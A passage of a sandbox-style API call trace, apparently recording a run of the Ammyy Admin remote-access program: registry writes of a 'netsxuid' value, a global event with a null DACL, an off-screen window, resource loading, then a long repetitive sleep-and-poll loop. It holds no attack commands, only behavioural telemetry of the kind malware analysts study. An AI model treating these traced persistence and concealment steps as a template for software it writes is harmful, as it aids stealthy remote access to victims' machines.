lpcbData=0x2dd7f8*=0x100 | out: lpType=0x0, lpData=0x2dd800*=0x0, lpcbData=0x2dd7f8*=0x100) returned 0x2 [0090.540] RegCloseKey (hKey=0xc8) returned 0x0 [0090.540] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\services", ulOptions=0x0, samDesired=0x2, phkResult=0x2dbb10 | out: phkResult=0x2dbb10*=0x0) returned 0x5 [0090.540] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SYSTEM\\CurrentControlSet\\Control", ulOptions=0x0, samDesired=0x2, phkResult=0x2dbaf4 | out: phkResult=0x2dbaf4*=0xc8) returned 0x0 [0090.540] RegSetValueExA (in: hKey=0xc8, lpValueName="netsxuid", Reserved=0x0, dwType=0x1, lpData="52393308", cbData=0x8 | out: lpData="52393308") returned 0x0 [0090.541] RegCloseKey (hKey=0xc8) returned 0x0 [0090.541] WTSGetActiveConsoleSessionId () returned 0x1 [0090.541] GetCurrentProcessId () returned 0xa40 [0090.541] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="Global\\Ammyy.Service.FinishEvent") returned 0xc8 [0090.541] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x63b954, dwRevision=0x1 | out: pSecurityDescriptor=0x63b954) returned 1 [0090.541] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x63b954, bDaclPresent=1, pDacl=0x0, bDaclDefaulted=0 | out: pSecurityDescriptor=0x63b954) returned 1 [0090.541] RegisterClassExW (param_1=0x2df908) returned 0xc1de [0090.541] CreateWindowExW (dwExStyle=0x0, lpClassName="AmmyyAdminTarget3", lpWindowName="", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=100, nHeight=100, hWndParent=0x0, hMenu=0x0, hInstance=0x50000, lpParam=0x0) returned 0x701a6 [0090.707] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0090.707] FindResourceW (hModule=0x50000, lpName=0x96, lpType="BINARY") returned 0xf36c0 [0090.707] SizeofResource (hModule=0x50000, hResInfo=0xf36c0) returned 0x42 [0090.707] LoadResource (hModule=0x50000, hResInfo=0xf36c0) returned 0xf3a04 [0090.707] LockResource (hResData=0xf3a04) returned 0xf3a04 [0090.707] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\services", ulOptions=0x0, samDesired=0x20019, phkResult=0x2dd920 | out: phkResult=0x2dd920*=0xe4) returned 0x0 [0090.708] RegQueryValueExA (in: hKey=0xe4, lpValueName="netsxuid", lpReserved=0x0, lpType=0x0, lpData=0x2dd924, lpcbData=0x2dd91c*=0x100 | out: lpType=0x0, lpData=0x2dd924*=0x0, lpcbData=0x2dd91c*=0x100) returned 0x2 [0090.708] RegCloseKey (hKey=0xe4) returned 0x0 [0090.708] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SYSTEM\\CurrentControlSet\\Control", ulOptions=0x0, samDesired=0x20019, phkResult=0x2dd920 | out: phkResult=0x2dd920*=0xe4) returned 0x0 [0090.708] RegQueryValueExA (in: hKey=0xe4, lpValueName="netsxuid", lpReserved=0x0, lpType=0x0, lpData=0x2dd924, lpcbData=0x2dd91c*=0x100 | out: lpType=0x0, lpData=0x2dd924*=0x35, lpcbData=0x2dd91c*=0x9) returned 0x0 [0090.708] RegCloseKey (hKey=0xe4) returned 0x0 [0090.708] QueryPerformanceCounter (in: lpPerformanceCount=0x2df968 | out: lpPerformanceCount=0x2df968*=573522983) returned 1 [0090.708] QueryPerformanceCounter (in: lpPerformanceCount=0x2df978 | out: lpPerformanceCount=0x2df978*=573523108) returned 1 [0090.708] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0090.709] LoadKeyboardLayoutW (pwszKLID="0419", Flags=0x0) returned 0x4090409 [0090.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x5bd60, lpParameter=0x642d78, dwCreationFlags=0x0, lpThreadId=0x2df8ec | out: lpThreadId=0x2df8ec*=0xb30) returned 0xe4 [0090.768] CloseHandle (hObject=0xe4) returned 1 [0090.768] Sleep (dwMilliseconds=0x64) [0090.875] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0090.875] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=574095051) returned 1 [0090.875] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=574095200) returned 1 [0090.875] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0090.876] Sleep (dwMilliseconds=0x64) [0091.005] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0091.005] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=574537664) returned 1 [0091.005] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=574537730) returned 1 [0091.005] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0091.005] Sleep (dwMilliseconds=0x64) [0091.225] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0091.225] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=575290768) returned 1 [0091.225] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=575290912) returned 1 [0091.225] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0091.225] Sleep (dwMilliseconds=0x64) [0091.623] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0091.624] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=576652124) returned 1 [0091.624] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=576652245) returned 1 [0091.624] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0091.624] Sleep (dwMilliseconds=0x64) [0091.720] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0091.721] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=576983690) returned 1 [0091.721] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=576983771) returned 1 [0091.721] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0091.721] Sleep (dwMilliseconds=0x64) [0092.217] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0092.217] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=578681512) returned 1 [0092.217] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=578681682) returned 1 [0092.217] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0092.218] Sleep (dwMilliseconds=0x64) [0092.451] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0092.451] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=579480527) returned 1 [0092.451] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=579480687) returned 1 [0092.451] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0092.451] Sleep (dwMilliseconds=0x64) [0092.560] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0092.560] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=579853387) returned 1 [0092.560] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=579853533) returned 1 [0092.560] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0092.560] Sleep (dwMilliseconds=0x64) [0092.669] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0092.669] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=580226981) returned 1 [0092.669] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=580227076) returned 1 [0092.670] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0092.670] Sleep (dwMilliseconds=0x64) [0092.904] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0092.904] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=581027530) returned 1 [0092.904] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=581027725) returned 1 [0092.904] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0092.904] Sleep (dwMilliseconds=0x64) [0093.013] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0093.013] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=581400182) returned 1 [0093.013] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=581400370) returned 1 [0093.013] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0093.013] Sleep (dwMilliseconds=0x64) [0093.122] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0093.122] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=581773627) returned 1 [0093.122] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=581773839) returned 1 [0093.122] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0093.122] Sleep (dwMilliseconds=0x64) [0093.231] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0093.231] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=582146218) returned 1 [0093.231] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=582146319) returned 1 [0093.231] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0093.231] Sleep (dwMilliseconds=0x64) [0093.366] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0093.366] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=582608238) returned 1 [0093.366] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=582608429) returned 1 [0093.366] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0093.366] Sleep (dwMilliseconds=0x64) [0093.466] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0093.466] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=582949843) returned 1 [0093.466] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=582950029) returned 1 [0093.466] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0093.466] Sleep (dwMilliseconds=0x64) [0093.575] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0093.575] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=583322252) returned 1 [0093.575] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=583322450) returned 1 [0093.575] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0093.575] Sleep (dwMilliseconds=0x64) [0093.684] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0093.684] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=583694811) returned 1 [0093.684] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=583694986) returned 1 [0093.684] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0093.684] Sleep (dwMilliseconds=0x64) [0093.793] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0093.793] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=584068508) returned 1 [0093.793] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=584068688) returned 1 [0093.793] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0093.794] Sleep (dwMilliseconds=0x64) [0093.902] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0093.903] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=584441627) returned 1 [0093.903] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=584441827) returned 1 [0093.903] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0093.903] Sleep (dwMilliseconds=0x64) [0094.012] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0094.012] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=584815699) returned 1 [0094.012] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=584815864) returned 1 [0094.012] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0094.012] Sleep (dwMilliseconds=0x64) [0094.121] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0094.121] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=585187757) returned 1 [0094.121] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=585187898) returned 1 [0094.121] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0094.121] Sleep (dwMilliseconds=0x64) [0094.230] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0094.230] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=585561919) returned 1 [0094.230] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=585562121) returned 1 [0094.230] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0094.231] Sleep (dwMilliseconds=0x64) [0094.371] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0094.371] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=586044396) returned 1 [0094.371] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=586044562) returned 1 [0094.372] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0094.372] Sleep (dwMilliseconds=0x64) [0094.480] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0094.480] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=586414600) returned 1 [0094.480] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=586414799) returned 1 [0094.480] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0094.480] Sleep (dwMilliseconds=0x64) [0094.589] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0094.589] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=586787938) returned 1 [0094.589] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=586788139) returned 1 [0094.589] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0094.589] Sleep (dwMilliseconds=0x64) [0094.702] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0094.702] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=587174290) returned 1 [0094.702] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=587174495) returned 1 [0094.702] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0094.702] Sleep (dwMilliseconds=0x64) [0094.830] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0094.830] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=587612314) returned 1 [0094.830] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=587612457) returned 1 [0094.830] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0094.830] Sleep (dwMilliseconds=0x64) [0094.932] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0094.932] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=587960391) returned 1 [0094.932] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=587960609) returned 1 [0094.932] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0094.932] Sleep (dwMilliseconds=0x64) [0095.041] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0095.041] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=588333144) returned 1 [0095.041] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=588333333) returned 1 [0095.041] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0095.041] Sleep (dwMilliseconds=0x64) [0095.150] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0095.150] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=588706376) returned 1 [0095.150] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=588706551) returned 1 [0095.150] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0095.151] Sleep (dwMilliseconds=0x64) [0095.259] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0095.259] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=589079748) returned 1 [0095.260] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=589079949) returned 1 [0095.260] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0095.260] Sleep (dwMilliseconds=0x64) [0095.368] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0095.368] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=589451362) returned 1 [0095.368] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=589451521) returned 1 [0095.368] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0095.368] Sleep (dwMilliseconds=0x64) [0095.479] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0095.479] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=589830770) returned 1 [0095.479] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=589830931) returned 1 [0095.479] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0095.479] Sleep (dwMilliseconds=0x64) [0095.587] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0095.587] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=590200625) returned 1 [0095.588] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=590201113) returned 1 [0095.588] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0095.588] Sleep (dwMilliseconds=0x64) [0095.697] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0095.697] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=590574170) returned 1 [0095.697] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=590574349) returned 1 [0095.697] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0095.697] Sleep (dwMilliseconds=0x64) [0095.813] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0095.813] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=590971635) returned 1 [0095.813] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=590971829) returned 1 [0095.813] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0095.813] Sleep (dwMilliseconds=0x64) [0095.916] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0095.916] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=591322724) returned 1 [0095.916] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=591322876) returned 1 [0095.916] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0095.916] Sleep (dwMilliseconds=0x64) [0096.024] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0096.024] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=591693541) returned 1 [0096.024] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=591693732) returned 1 [0096.024] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0096.025] Sleep (dwMilliseconds=0x64) [0096.133] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0096.133] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=592066323) returned 1 [0096.133] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=592066492) returned 1 [0096.133] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0096.134] Sleep (dwMilliseconds=0x64) [0096.248] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0096.248] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=592458108) returned 1 [0096.248] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=592458308) returned 1 [0096.248] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0096.248] Sleep (dwMilliseconds=0x64) [0096.359] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0096.359] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=592837387) returned 1 [0096.359] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=592837560) returned 1 [0096.359] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0096.359] Sleep (dwMilliseconds=0x64) [0096.461] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0096.461] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=593186427) returned 1 [0096.461] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=593186605) returned 1 [0096.461] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0096.461] Sleep (dwMilliseconds=0x64) [0096.570] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0096.570] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=593559746) returned 1 [0096.570] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=593559922) returned 1 [0096.570] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, 